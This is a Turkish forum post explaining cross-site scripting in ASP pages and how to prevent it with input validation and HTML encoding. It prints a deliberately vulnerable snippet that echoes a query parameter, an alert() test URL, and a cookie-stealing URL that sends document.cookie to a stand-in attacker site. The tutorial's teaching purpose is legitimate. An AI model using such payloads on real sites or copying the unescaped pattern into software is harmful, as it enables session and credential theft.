![]() |
|
|||||||
| Html / Java / Jsp Ve Diğerleri Html , java , jsp ve diğer programlama dilleri ile ilgili bölüm... |
![]() |
|
|
LinkBack | Seçenekler | Stil |
|
||||
|
Çapraz site kod çalıştırma ve önlem alma yöntemleri : Site çapında kodlama zaafları Web’e özgü sorunlardır ve istemcinin verilerinin tek bir Web sayfasındaki gedik nedeniyle bozulmasına neden olabilir. Aşağıdaki kod bölümüne bakın: <script language=Jscript> Response.Write("Hello, " + Request.QueryString("name")); </script> [bu kodu çalıştırdığınızda browser de name değişkenine karışılık gelen değer alınarak (mesela name = "ali" olsun ) ekranınıza "Hello Ali" yazdıracaktır.] Kaçınız böyle bir kodu gördü? Bunun hatalı olduğunu öğrenmek sizi şaşırtabilir! Normal koşullarda, bir kullanıcı bu koda aşağıdakine benzeyen bir URL kullanarak ulaşabilir: [Bu Linki Görüntüleyebilmeniz İçin Üye Olmanız Gerekiyor. ] Oysa saldırganlar bu kodu kötü amaçla kullanarak HTML değerini ad olarak sunar. Aşağıdaki URL değerini yazdıysanız http://northwindtraders.com/welcome.asp?name=<script>alert('hi!');</script> “merhaba” diyen bir iletişim kutusunun bulunduğu bir web sayfasını görüntülersiniz! “Yani?” dediğinizi duyar gibiyim. Saldırganın kullanıcıyı bunun gibi bir bağlantı hattını tıklamaya ikna ettiğini varsayalım, querystring içerdiği kötü amaçlı komutlar ve HTML ile cookie'lerinizi alır ve saldırganın sitesine yapıştırır; saldırgan artık özel cookie bilgilerine ve başka bilgilere sahiptir. [ Mesela browser'a : http://northwindtraders.com/welcome.asp?name=page.go("http://websitem/cookiekaydet.asp?data="+document.cookie) yazip kullanıcıya cookiedeki bilgileri (ki bunlar kullanıcı adı ve şifre olabilir) alabilirdik. ] Bunu önlemek için iki yöntem kullanabilirsiniz: Birinci olarak, girdilere güvenmeyin ve kullanıcı adının sunumu konusunda katı olun. Örneğin, adın sadece ortak karakter alt kümesini içerdiğini ve aşırı büyük olmadığını denetleyen olağan ifadeler kullanabilirsiniz. İkinci savunma ise, çıktı olarak kullanıldığında, tüm girdileri HTML-şifreli hale getirmektir. Bu yöntem tehlikeli HTML etiketlerini eler ve daha güvenilir kaçış karakterlerini geride bırakır. Sorun olabilecek dizilerden ASP.NET’te HttpServerUtility.HtmlEncode ile veya ASP’de Server.HTMLEncode ile kaçabilirsiniz.PHP de nasıl olduğunu PHP bilen arkadaşlarımız söylesinler |
![]() |
| Seçenekler | |
| Stil | |
|
|
Benzer Konular
|
||||
| Konu | Konuyu Başlatan | Forum | Cevaplar | Son Mesaj |
| En çok kullanılan Server sizce hangisi | aLoSs | IRC \ Internet Relay Chat | 5 | 02-15-2008 22:19 |
| Depresyon tedavisinde kullanılan ilaçlar | Julio_Iglesias | Cinsel Sorunlar | 0 | 10-16-2006 10:40 |
| %99 pc Güvenliği!!! | Darkemfi_Q | Güvenlik ve Güvenlik Açıkları \ Security and Security Patch | 0 | 08-16-2006 00:44 |
| Ağ güvenliği | #^^prøÚd³GÏ®£ | Güvenlik ve Güvenlik Açıkları \ Security and Security Patch | 3 | 01-06-2006 02:35 |
| URL güvenliği | X | Html / Java / Jsp Ve Diğerleri | 1 | 04-25-2005 19:08 |
Arama - Toplist - Sohbet - Chat - muhabbet